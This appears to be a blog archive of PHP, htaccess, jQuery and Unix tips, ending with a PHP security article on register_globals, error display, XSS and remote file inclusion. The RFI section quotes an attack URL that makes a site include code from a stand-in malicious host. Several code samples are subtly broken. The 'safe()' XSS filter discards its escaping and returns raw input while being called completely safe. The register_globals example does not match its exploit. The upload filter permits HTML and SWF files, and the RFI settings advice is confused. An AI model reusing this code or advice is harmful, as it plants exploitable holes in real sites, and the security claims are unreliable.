Showing posts with label php security. Show all posts
Showing posts with label php security. Show all posts

Saturday, May 17, 2014

Restrict image access from browser using HTACCESS



 When we want to restrict the image access from the browser other than the page, add the below code in htaccess file to apply.


RewriteEngine on 
RewriteCond %{HTTP_REFERER} !^http://(www\.)?localhost [NC] 
RewriteCond %{HTTP_REFERER} !^http://(www\.)?localhost.*$ [NC] 
RewriteRule \.(gif|jpg|png)$ - [F]

localhost need to be replaced by the domain name where the application is hosted. 

NOTE: Above code works in Apache (LINUX) not in windows

Monday, April 28, 2014

Redirect to maintenance page using HTACCESS



 Redirecting the whole site to maintenance page using HTACCESS

RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_ADDR} !^111\.11\.1\.11
RewriteCond %{REQUEST_URI} !^/maintenance\.html$
RewriteRule ^(.*)$ http://www.domainname.com/maintenance.html [R=307,L]


Rewrite condition mentioned is to stop the redirection for that particular domain.

RewriteCond %{REMOTE_ADDR} !^111\.11\.1\.11

"maintenance.html" is the page where you want to redirect the website.

Sunday, October 20, 2013

ajax with cross domain


We may worked with jQuery ajax in many cases but when we try to use jQuery AJAX to get the data from other domain, we need to use "crossDomain" & set it to true.

Let us consider the basic jQuery AJAX within the domain.

$.ajax({
            url: "show_users.php",
            data: {data1:"val1", data2="val2"},
            type:'POST',
            success: function(res)
            {
                $('#element_name').html(res);
            },
            error: function (){alert('something went wrong');}
});

Above is the AJAX request within the domain & just we are passing the data to the page "show_users.php" with two values. As it is simple AJAX request, it works fine.

But when we work with cross domains (i.e. AJAX request to other domain from our domain) we need to rewrite the jQuery AJAX as below.

$.ajax({
            url: "http://domain.com/show_users.php",
            data: {data1:"val1", data2="val2"},
            type:'POST',
            crossDomain: true,
            success: function(res)
            {
                $('#element_name').html(res);
            },
            error: function (){alert('something went wrong');}
});

We need to use "crossDomain" & set it to TRUE & in the domain.com show_users.php page we need to set an header as below.

header('Access-Control-Allow-Origin: *');

We can set the "Access-Control-Allow-Origin" with only one IP address or '*' if it is not limited to single IP address

Wednesday, January 30, 2013

Basic UNIX commands



Below are the basic unix commands which may help you while using PUTTY to access the server. Move, copy, view the pages from folder to other destination. All other basic stuff syntax are given below


If there are images in this attachment, they will not be displayed.  Download the original attachment
Unix Basic Commands

Copy:

cp sorce_file target_file  :copies only if the files are in current direc

cp -r sor_DIR target_dir (to copy directories)

Move/Rename;

mv file1 file2

mv -i f1 f2 (asks for permision to move or not)

Remove:

rm filename

rm -r file (to remove directory structure)

rm -i file ( asks for permision to move or not)

view:

cat filename ( to view the complete file content)

To extract or unzip files:

unzip file ( extracts file to current dir)

To uncompress

uncompress filename

To compress

compress filename

To change directory

cd path

to list files in current dir

ls

ls -l (long list of files : gives acess permision,creation date..etc)

    -a(list all files satarting with a " .")

to make a dir

mkdir name or md name

to remove

rmdir dir_name

to clear the screen

clear (clears the windoe or terminal)

help commands

man <comd name> (displays the mannual page)

whatis <cammnd> (gives description)

date (to dispaly the date)

to count the words

wc filename (gives lines,words,characters

wc -l file (only lines)

wc -c file(only characters)

wc -w file(onbly words)

df ( displays the amount of free space)

grep (search a file for matching pattern)

grep [optioln]<regularExpression filename

eg: grep [a-z]*.c filename

Wednesday, January 16, 2013

Upload huge files in PHP


When we try to upload huge files using PHP, we face many issues to upload. One of them might be the php_value upload_max_filesize which is by default 2M in php.ini

Still we may have other issues which we need to do fix them. Below are the steps we need to add in htaccess to fix the large file uploads.


php_value upload_max_filesize 10M
php_value post_max_size 64M
php_value max_execution_time 300


Wednesday, August 31, 2011

Restrict the file uploads using PHP


Below is the php code to restrict the file uploads for a particular type of files. As an example, I'm showing all the extension types in the "Allowed extensions" variable.


<?php

  $allowedExtensions = array("txt","csv","htm","html","xml",
    "css","doc","xls","rtf","ppt","pdf","swf","flv","avi",
    "wmv","mov","jpg","jpeg","gif","png");
    if ($_FILES['upload_file']['tmp_name'] > '') {
      if (!in_array(end(explode(".",
            strtolower($_FILES['upload_file']['name']))),
            $allowedExtensions)) {
       die($_FILES['upload_file']['name'].' is an invalid file type!<br/>'.
        '<a href="javascript:history.go(-1);">'.
        '&lt;&lt Go Back</a>');
      }
    }

?>





Saturday, August 13, 2011

Remove the special characters from the query string

Function to remove the special characters from the query string using PHP.

function trim_req($string){
$string=preg_replace('/[^A-Za-z0-9-]+/', '', $string);
$string = str_replace("<", "", $string);
$slug = str_replace(">", "", $string);
return $slug;
}




Compress & decrease the page loading time using HTACCESS

Place the below code in htaccess & decrease the loading time taken for the browser.


<IfModule mod_gzip.c>
    mod_gzip_on       Yes
    mod_gzip_dechunk  Yes
    mod_gzip_item_include file      \.(html?|txt|css|js|php|pl)$
    mod_gzip_item_include handler   ^cgi-script$
    mod_gzip_item_include mime      ^text/.*
    mod_gzip_item_include mime      ^application/x-javascript.*
    mod_gzip_item_include mime      ^image/.*
    mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
</IfModule>

Above code will compress the HTML,CSS,JS,PHP,PL script files and also image files. 


Monday, January 31, 2011

Auto Refresh a Div or an Element using Jquery

Below is the code to refresh a div or an element using Jquery.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Refresh</title>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>
<script type="text/javascript">
var auto_refresh = setInterval(
function()
{
$('#replace_content').load('
replace_content.php');
}, 1000);
</script>
<style type="text/css">
#shouts { background: #36F; height: 200px; overflow: auto; width: 300px; }
</style>
</head>

<body>
<div id="replace_content"><?php include'replace_content.php'?></div>
</body>
</html>



  



Sunday, September 26, 2010

Rewrite condition for domain.com to www.domain.com using HTACCESS

Redirecting from domain.com to www.domain.com is mostly helpful as part of SEO. The rule for rewriting the site is shown below.

rewritecond %{http_host} ^domain.com [nc]
rewriterule ^(.*)$ http://www.domain.com/$1 [r=301,nc]

Just change the domain name to your site name to use the rewrite rule.

  

Sunday, August 22, 2010

HTACCESS code to redirect to 404 page

htaccess in Linux server is used for rewriting the URL & also used for redirecting to a Pre-defined error page(404 error page) when there is no file or page in the site.

Here is the rule for redirecting to Error page(404 page -- i.e. Page Not found)

Ex;- ErrorDocument 404 http://www.yoursitename.com/error404.php

Ex:- ErrorDocument 404 http://www.yoursitename.com/error404.html

we can define any filename for redirecting, in the above example, I've given an error404.php or error404.html as examples

Saturday, July 24, 2010

Paypal Integration

How to Integrate with Paypal for our application is shown below.


<form method='post' action='https://www.paypal.com/cgi-bin/webscr' id="test">   
         
           <input type="hidden" name="cmd" value="_xclick" />
           <input type="hidden" name="business" value="businessaccount@mail.com" />
           <input type="hidden" name="cbt" value="* * * Return to Bearmanor Media Bizland * * *">     
           <input type="hidden" name="item_name" value="{ item_name }" /><!--change the { item name } give the item name which you want to show on paypal  -->
           <input type="hidden" name="amount" value="{total_amount_}" /><!--change the {total_amount_} give the total amount which you want to show on paypal -->
           <input type="hidden" name="no_shipping" value="1" />
           <input type="hidden" name="rm" value="2">
           <input type="hidden" name="return" value="{return url}" /><!--change the {return url} give the url to which it should redirect after completing the payment -->
           <input type="hidden" name="cpp_header_image" value="{bannerimage}" /><!--change the {bannerimage} give the url of banner if you have otherwise change it to empty such as value=""  -->
     <input type="hidden" name="notify_url" value="">          
           <input type="hidden" name="currency_code" value="USD" />          
           <input type="hidden" name="custom" value="{order_id}" /> 
  
           <input type="hidden" name="cancel_return" value="{Cancel page(Ex:-http://www.mysite.com/CancelPayment.php}" />     
           <input type="image" id='submit' src="paynow.jpg" border="0" alt="Make payments with PayPal - it's fast, free and secure!" />
        
           
     </form>

Sunday, June 27, 2010

PHP Security: Power Tips, Tools & How to

Defining PHP Security and It’s uses

PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.

Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.

PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.
Types of Attacks

There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.

The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.

Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.

The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?

Most Common PHP Security Vulnerabilities

Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.

1. Register_Globals

Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.

For example take a look at the code snippet below. A user could append the end of a page’s url with ?admin=1 to basically force entry to administrative areas that would normally require a password.
            if(isset($_POST['password']) && ($_POST['password'] == "12345")){
                  echo "Condition is True"; 
           }
With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.

So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.

2. Error Reporting

Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.

Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.



3. Cross-Site Scripting (XSS)

Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.

To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.




<?php

function safe($value) {
    htmlentities($value, ENT_QUOTES, 'utf-8');
    return $value;
}

//retrieve $title and $mesage from user input
$title = $_POST['title'];
$message = $_POST['message'];

// and display them safely

print '<h1>'.safe($title).'</h1>
          <p>'.safe($message).'</p>';
?>



This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.

Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).


4. Remote File Inclusion (RFI)

This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.

A great example of an RFI attack can be found at PHPFreaks.com. Here’s an exerpt from that page:

    Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.

The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.